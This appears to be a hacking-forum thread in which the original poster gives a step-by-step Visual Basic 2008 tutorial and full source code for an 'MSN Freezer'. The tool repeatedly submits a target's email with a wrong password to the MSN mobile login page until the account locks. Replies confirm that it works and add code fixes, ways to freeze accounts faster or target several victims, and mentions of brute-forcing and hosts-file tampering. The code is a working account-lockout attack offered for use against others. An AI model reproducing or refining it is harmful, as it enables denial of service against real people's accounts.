Thread: [\[TUT\]Visual basic 2008 - Make A MSN Freezer!](#)

brianpsv1 - December 19, 2009, 10:08 am

Hello,

What are we going to do?

- Making a MSN Freezer.

What does a msn freezer does?

- Making an msn account freeze so the MSN Account can't be accesed.

What program do i need to make an MSN Freezer?

- For this TUT you will need Visual basic 2008

Ok let's start

- Open Visual Basic 2008
- Open new project and call it whatever you like
- Make 1 textbox
- Make a checkbox with text "Hide"
- Make 2 buttons with text "Freeze" and "Unfreeze"
- Make a webbrowser with visible set FALSE and set url: "http://mobile.msn.com/hm/folder.phpx".
- Make 3labels with label1 text set. "MSN Adress", label2: "Status" and the last one with nothing "".
- Make a timer with Enabled set FALSE and Interval set 100.
- Now double click on the Form and remove all text

Copy and paste this :

Code Imports System.Threading.Thread

Public Class Form1

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles MyBase.Load

WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")

End Sub

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Button1.Click

Timer1.Enabled = True

Label3.Text = "Freezing..."

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Timer1.Tick

On Error GoTo errordetected

WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value",

(TextBox1.Text))

WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value",

```

("pas13465"))
    Sleep(2000)
    WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")

    GoTo done
errordetected:
    Label3.Text = "Frozen!"
    WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:

End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Button2.Click
    Label3.Text = "Ready"
    MsgBox("MSN UnFrozen!")
    Timer1.Enabled = False
End Sub

Private Sub CheckBox1_CheckedChanged(ByVal sender As System.Object, ByVal e As
System.EventArgs) Handles CheckBox1.CheckedChanged
    If CheckBox1.Checked = True Then
        Me.Hide()
    End If
End Sub
End Class

```

Now you can build the program and use it as a MSN Freezer!! ?

Credit goes to me for making the source and making the Tutorial!

Greetings,
Brian?

Ziore - December 19, 2009, 10:41 am

YAY! what if you make the thread in the "Visual Basic" Subforum?

brianpsv1 - December 19, 2009, 10:56 am

I posted it here because it's a tutorial but I could post the source there.

Gonzo - December 19, 2009, 11:37 am

Nice one mate .:)

YehiaPC - December 19, 2009, 11:38 am

well nice tut

but can u give me link for visual basic 2008 ? because i cant download it from anywhere ? :O

brianpsv1 - December 19, 2009, 11:40 am

<http://www.microsoft.com/express/download/>

:)

snake38 - December 19, 2009, 11:50 am

Nice, but when i click "Freeze", there is "freezing..." and it stay like that .. But the account is frozen !

But there isn't "Account frozen!".

Sorry for my english

brianpsv1 - December 19, 2009, 12:00 pm

how long did you try to freeze??

It should become "Frozen" if it says to much attempts

snake38 - December 19, 2009, 12:05 pm

10 min now lol

But the account has been frozen.

But no positive message.

YehiaPC - December 19, 2009, 12:12 pm

(Dec 19, 2009 12:40 PM)brianpsv1 Wrote: [\[CITE\] http://www.microsoft.com/express/download/](http://www.microsoft.com/express/download/)

:)

this one is cracked with no trail period ? LOL ?

brianpsv1 - December 19, 2009, 12:19 pm

ok replace this for Timer1_tick sub:

Code Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer1.Tick

```
    On Error GoTo errordetected
    WebBrowser1.Document.GetElementById("LoginTextBox").SetAttribute("value",
(TextBox1.Text))
    WebBrowser1.Document.GetElementById("PasswordTextBox").SetAttribute("value",
("pas13465"))
    Sleep(2000)
    WebBrowser1.Document.GetElementById("PasswordSubmit").InvokeMember("click")
    TextBox2.Text = Val(TextBox2.Text) + Val("4")
    If TextBox2.Text = "20" Then
        Label2.Text = "Frozen!"
    End If
    GoTo done
errordetected:
    Label2.Text = "Frozen!"
    WebBrowser1.Navigate("http://mobile.msn.com/hm/folder.phpx")
done:
```

End Sub

You must also add a new textbox with visible set FALSE and text set "0"

snake38 - December 19, 2009, 12:25 pm

Yeah it work, i have the text "Frozen".

But the program still work, and it lag, it is normal ?

Error 404 - December 19, 2009, 12:45 pm

Pretty usefull,ty.

@Snake38 Just mod the code dude.

A3N - December 19, 2009, 12:58 pm

Thanks alot sorry for my bad english i am French ^^

brianpsv1 - December 19, 2009, 1:47 pm

(Dec 19, 2009 11:08 AM)brianpsv1 Wrote: [\[CITE\]](#) Hello,

Me.Hide()  
End If  
End Sub  
End Class
```

Now you can build the program and use it as a MSN Freezer!! ?

Credit goes to me for making the source and making the Tutorial!

Greetings,
Brian?

this one is cracked with no trial period ? LOL ?[/QUOTE]

After the trial period you can license it free from microsoft site.

#M.O.A.B - December 19, 2009, 1:56 pm

Your right, they need .NET Framework 3.5 installed.

If they use automatic updates it would be installed.

cyb3rp4nda - December 31, 2009, 12:18 am

nice tut keep goin also i need help on the gui because im gonna beef this up and make alot more options so if your intrested than pm me :)

Rikly - December 31, 2009, 5:37 am

epic post bro. thx. this is gonna be epic

Inventor - December 31, 2009, 5:48 am

Damn man thanks for this. It's so freaking cool! (:

Weather Man - December 31, 2009, 6:22 am

This is win :D, I hope it works.

ViggU - December 31, 2009, 7:55 am

okey I am totally noob when it comes to VB, but I have done everything like you said..så when I press build I am done? where does it show and such? sry from norway

It will works

(Jan 18, 2010 02:09 AM)h3lLx0x Wrote: [\[CITE\]](#) lol. -,-' not working. TRIED just now :P
It does work just tested it. Close all browsers including Msn messenger and try to log in on hotmail.

fleischi93 - January 18, 2010, 12:12 pm

Hm didn't worked for me.. Waited more then 2 minutes and it's still "Freezin..."

But I'll test that with "try to log in on hotmail"

EDIT: Do I have to include the "" when I set the URL for the Webbrowser?

fleischi93 - January 19, 2010, 2:38 am

"http://mobile.msn.com/hm/folder.phpx"

I don't have to include the " " right?

brianpsv1 - January 19, 2010, 5:47 am

(Jan 18, 2010 01:12 PM)fleischi93 Wrote: [\[CITE\]](#) Hm didn't worked for me.. Waited more then 2 minutes and it's still "Freezin..."

No don't use the "".

If it still don't work put webbrowser on visible = true.
and let me know what happens while freezing.

MatseN1 - January 20, 2010, 11:58 am
Very Nice tutorial thnx!

MeeH - January 20, 2010, 2:41 pm
Ty for this mate.

And folx if u make 2 of this programs (just put some difrent things in both like Color, or lable text summin) and run it both Freeze it works faster loads :)

Dr.C - January 21, 2010, 1:03 am
It's doesn't work for me.

Deal - January 21, 2010, 2:56 am

Did you put all labels and other stuff in form?

(Jan 28, 2010 08:40 PM)CopyBoT Wrote: [\[CITE\]](#) it is possible to put one ProgressBar in Label3.text=

Label3.Text = "Freezing..."

Yeh there should be a tutorial on the forum for a progressbar.?

(Jan 28, 2010 08:51 PM)optiikzz Wrote: [\[CITE\]](#) Nice Tut but do msn freezers even work anymore ?
Yeh they still work, if not we could use a freezer as bruteforcer?

Dz5 d3m0n - January 30, 2010, 9:05 pm

Hey man, great tut.

But whenever I do it, it stays on freezing when it's actually frozen. Any Ideas?

Nevermind, I figured that out, so thats all good now.

But in the textbox where you put the email address in, when you start freezing is it supposed to come up with numbers?

Exploitations - January 30, 2010, 9:38 pm

Imao thanks for this :D

brianpsv1 - January 31, 2010, 2:16 am

(Jan 30, 2010 10:05 PM)Dz5 d3m0n Wrote: [\[CITE\]](#) Hey man, great tut.

You can download source

<http://home.deds.nl/~brianpsv1/MSN.rar>

If it doesnt work PM me.

Scifen - May 2, 2010, 12:17 pm

Does not work at all. I remove all text on the Form and i get loads of errors.

i did exactly what u said and dont work

please team viewer me

Jire - May 2, 2010, 6:03 pm

How does this even work? It just navigates to the mobil page, so how does that cause a freeze?

brianpsv1 - May 3, 2010, 1:50 am

(May 2, 2010 06:03 PM)Canownueasy Wrote: [\[CITE\]](#) How does this even work? It just navigates to the mobil page, so how does that cause a freeze?

It enters the email and a wrong pass.

Then live blocks the account.

[Eprouvez] - May 3, 2010, 2:18 am

I've tried this and it doesn't work, but I substituted the timer for a thread.

How long does it take to freeze the account?

And do you know if this is possible with POST data?

brianpsv1 - May 3, 2010, 2:45 am

(May 3, 2010 02:18 AM)Eprouvez Wrote: [\[CITE\]](#) I've tried this and it doesn't work, but I substituted the timer for a thread.

I have test your tutorial and it give's me new ides for new projects.Thanks fore share

**Lt Mays** - June 29, 2010, 7:53 am

yea with muffun... it doesnt work, i dout any freezers work anymore

**kVp** - June 29, 2010, 4:03 pm

it works... tnx again brian you're great! :)

**hklcf** - July 1, 2010, 9:59 am

Very nice, thanks for share. Let's me try!

**firebul** - July 2, 2010, 11:21 am

thats pretty awesome i like that

did you find that out yourself or did u get shown

:) ververy good but mine didnt work

**brianpsv1** - July 2, 2010, 12:02 pm

(Jul 2, 2010 11:21 AM)firebul Wrote: [\[CITE\]](#) thats pretty awesome i like that

I made it myself.

Download the freezer source if it doesn't work ?

~~ Brian

**CyberPhunk** - July 6, 2010, 1:03 pm

sorry to bump the old post,

but really nice one dude,

i just coded mine using this ..

1 question ... after hide, what if i want to call it back using some key combinations say "ctrl + p"

can u help me a code for that ??

Cheers !!

**brianpsv1** - July 6, 2010, 2:05 pm

(Jul 6, 2010 01:03 PM)CyberPhunk Wrote: [\[CITE\]](#) sorry to bump the old post,

You could also use minimize to tray.

~~ Brian

**CyberPhunk** - July 6, 2010, 4:03 pm

check your pm :)

also here is the freezer i made, your source helped a lot :)

<https://hackforums.net/showthread.php?tid=525076>

Credits given :)

Cheers !!

**NewKidOnTheBlock** - July 6, 2010, 4:09 pm

you do realise freezing is actually a generic mistake made by hackers trying to brute-force dont you, fucking hell there rnt hackers here

**jackjones6** - July 6, 2010, 7:06 pm

There's another way you can freeze the whole msn on the pc.  
Is to just patch the hosts file :)

Thanks mate, nice spread.

**Marcusramse1** - July 9, 2010, 4:43 pm

Does not work for me :s I had it on for like 3minutes but i log in faster than ever!

**Mia** - July 9, 2010, 5:32 pm

(Jul 6, 2010 04:09 PM)NewKidOnTheBlock Wrote: [\[CITE\]](#) you do realise freezing is actually a generic mistake made by hackers trying to brute-force dont you, fucking hell there rnt hackers here  
With mistakes come creations. After realizing we couldn't brute force accounts, we used an alternative to get closer to hacking the account. There are hackers here, and we have knowledge that only the truly intelligent would understand.

On Topic: I'll be making my own MSN Freezer with this. Of course, credits will be given.

lewismarsh - August 5, 2010, 4:54 am

i dono if its workin but it says freezing 4 like 10 mins now and still nothin...

BluElecTricsta - August 9, 2010, 11:29 am

TY OP jus finished this and I made a few adjustments including the webaddress to the New  
Windows Live Messenger Mobile Login address and it works Perfect first time! TY again ?

P.S : You have to Press FREEZE then UNFREEZE then FREEZE again to fix the time issue!

Koe-Kaiin - August 14, 2010, 5:07 am

how can u tell if its "Frozen"

mine just keeps making a ticking sound

**SockWave** - September 3, 2010, 2:46 pm

this sucks, the code didnt work my vb says all the time they are errors in it!

**ChilliBeefSausage** - September 3, 2010, 4:43 pm

Would you mind me releasing my freezer i made (using your code and changing it a little)? Thanks for this by the way, works great!

**Benne-R** - September 4, 2010, 2:14 am

Way to many errors..

TooShort

**ChilliBeefSausage** - September 5, 2010, 12:49 am

I got non after fixing it.

I get non after fixing it.

**.rhY** - September 5, 2010, 2:22 am

Interesting.

Very informative thread.

**zyvox** - September 5, 2010, 3:17 am

I've downloaded a couple of these and none work. Can it only be used at offline ppl? If you use at someone online will they be logged off? lols.

Thanks for the tut though, can be handy =)

**skatomagia** - September 5, 2010, 11:05 pm

can you do something to freeze multiple victims? i mean more than one mail.

**whits** - September 6, 2010, 4:39 pm

Fix to snake38's problem remove "GoTo done" in the timer code.

**TheDino** - September 8, 2010, 1:25 pm

nice tut...And freezer works great, thanks ;)

**xhtmlphp™** - September 9, 2010, 7:17 pm

Can you teach us how to steal MSN accounts as well?

<https://hackforums.net/showthread.php?tid=620566>

You're pathetic.

**Toxic Asshole** - September 9, 2010, 8:36 pm

(Dec 19, 2009 01:25 PM)snake38 Wrote: [\[CITE\]](#) Yeah it work, i have the text "Frozen".

But the program still work, and it lag, it is normal ?  
its using a timer duh of course its going to lag try setting the interval more wait no that wont work because then it wont freeze it.

???

/trolling done.

Timer is basically visiting the webbrowser and trying to login really fast therefore making the user not be able to login.

/thread.

Automatic Coding - September 30, 2010, 9:57 pm

One question about MSN freezing, is if you wait say 30 minutes, does it not unfreeze?

mikou6210 - October 11, 2010, 5:50 am

Nice . Thanks for the sharing bro :))

Guibibi - October 11, 2010, 2:48 pm

Thank you.How do i put it into an .exe?

Unkn0wnix - October 12, 2010, 9:06 am

A first chance exception of type 'System.NullReferenceException' occurred in  
WindowsApplication1.exe  
?

SharpKnife - October 20, 2010, 11:08 am

Good one.Simple and heplfull.  
Thank's for sharing with us :)

Sage Mode - October 20, 2010, 4:26 pm

The share was wonderful, but none of the code was explained :l.

Shadows - October 22, 2010, 10:34 am

Was good in its prime but is probably nonworking now, might try to update.

Punjabiuploader - October 22, 2010, 11:52 pm

greate mate  
nice tutorial

Nuiok - November 7, 2010, 8:12 am

Thanks Good TUT, keep up the good work.

EvilCoder - November 20, 2010, 8:52 am

(Dec 19, 2009 11:56 AM)brianpsv1 Wrote: [\[CITE\]](#) I posted it here because it's a tutorial but I could  
post the source there.

Good job Brian,  
You are trying to get your rep up again,

For that Keylogger at your msn source.

Appriciate it.  
Not gonna use it, but its a good looking source.

~~ EvilCoder

**saheliano** - November 24, 2010, 11:55 am

verry nice ToT !! thnx Men ....

**iolaka** - December 1, 2010, 4:21 pm

Does this even work anymore..?

**apt-get money** - December 3, 2010, 1:11 pm

it works great. :D

thanks alot ?

**The Unknown** - December 3, 2010, 1:15 pm

that;s an awesome thread mate, great job , 10x

**Geld** - December 12, 2010, 12:34 pm

Hey man i know u from powerbot... but when i close it, will it freeze forever? :)

**Psychotic** - December 18, 2010, 2:18 pm

This is a cool source thanks for sharing with us .

**Donace** - December 18, 2010, 2:26 pm

Congrats on helping other peoples leech the source code.

This is not a tut at all, a tut should explain the code and everything.

This is called CnP

**Splort** - January 1, 2011, 12:53 pm

Hey, currently i'm making a freezer, but i'm changing the code a bit.

I wonder if it's possible to freeze .com, .be, .nl, .fr .. account's.

This one only freezes .co.uk

Cheers.

**Apples344™** - January 9, 2011, 8:02 am

Wow, Awesome thanks so much Brian :) keep it up:)

**Dragoneon** - January 9, 2011, 8:15 am

this still works????

**GorzillaNetworks** - January 9, 2011, 11:36 am

Thanks Brian,

Good Tutorial :)

Works Great!

**crawl7** - January 9, 2011, 2:05 pm

thanks man, looks good and nice.

**Conch** - January 15, 2011, 9:01 am

This doesn't seem to work anymore, Also I found an error :P

Code ErrorDetected:

Label3.Text = "Frozen!"

```
WebBrowser1.Navigate("https://mid.live.com/si/login.aspx?wa=wsignin1.0&rpsnv=11&ct=1295106096&rver=6.1.6206.0&wp=MBI&wreply=http%3a%2f%2fmail.live.com%2fm%2fdefault.aspx&lc=2057&id=64855&mspco=1")
```

done:

```
Timer1.Enabled = False
```

```
Label3.Text = "Account Frozen"
```

```
MsgBox("The Account Is Now Frozen!")
```

C&P from my code.

Also, it seems that it only enters the password once then errors. Would it work if you looped it?

I'm going to try it :)

**Headmaster** - January 15, 2011, 9:34 am

i say this one more time! you cant freeze with that code anymore, that code is really old and msn is really new!

**Centrius** - January 29, 2011, 1:54 am

Working ;), Thanks for the tut bro!

**Matthew 6:33** - February 5, 2011, 5:11 am

THANKS WILL TRY THIS OUT TNKS

**SIM-135152** - February 5, 2011, 8:23 am

man it's good

but it would be better if you explain a bit cause new people will get used to copy and paste

**Target f?ck?ou** - February 5, 2011, 8:31 am

nice tutorial thanks for sharing this

**M44M31** - February 11, 2011, 6:58 pm

well..erm...nice source for me to learn off of but i was kinda hoping you would explain the source...that would be a real tutorial...but thanks anyways

**TraptCode** - February 11, 2011, 7:02 pm

(Feb 11, 2011 07:58 PM)M44M31 Wrote: [\[CITE\]](#) well..erm...nice source for me to learn off of but i was kinda hoping you would explain the source...that would be a real tutorial...but thanks anyways  
How it works

1. A web browser navigates to the mobile version of hotmail
2. When start is clicked, using the web browser, it fills in the email field with the email entered
3. It fills in the password field with an incorrect password
4. The Login button is clicked and the incorrect username and password are posted

It repeats that multiple times until it requires the user to enter in a captcha, then it is locked.

(Feb 11, 2011 07:58 PM)M44M31 Wrote: [\[CITE\]](#) well..erm...nice source for me to learn off of but i was kinda hoping you would explain the source...that would be a real tutorial...but thanks anyways

**WinfieldBlue** - February 12, 2011, 2:16 am

How do I use it now :S it's all coded etc.

**Reviews** - March 21, 2011, 12:56 am

doesnt work think its maybe coz of the url

**mmdoh8** - March 21, 2011, 4:21 am

add a label and a textbox and do by timer1 tick under password submit thing do:

Here the label.text = val(Here the label.text + 1)

if Here the label.text = "10" then

timer1.stop

(Mar 21, 2011 12:56 AM)KrazyTurk Wrote: [\[CITE\]](#) doesnt work think its maybe coz of the url

Its working i try'd this but i changed other little things to make it better -:)

(Feb 12, 2011 03:16 AM)ElvyUnit Wrote: [\[CITE\]](#) How do I use it now :S it's all coded etc.

Type a email by the textbox where u must type a email and then click freeze ... wait 20 sec and try to login :)
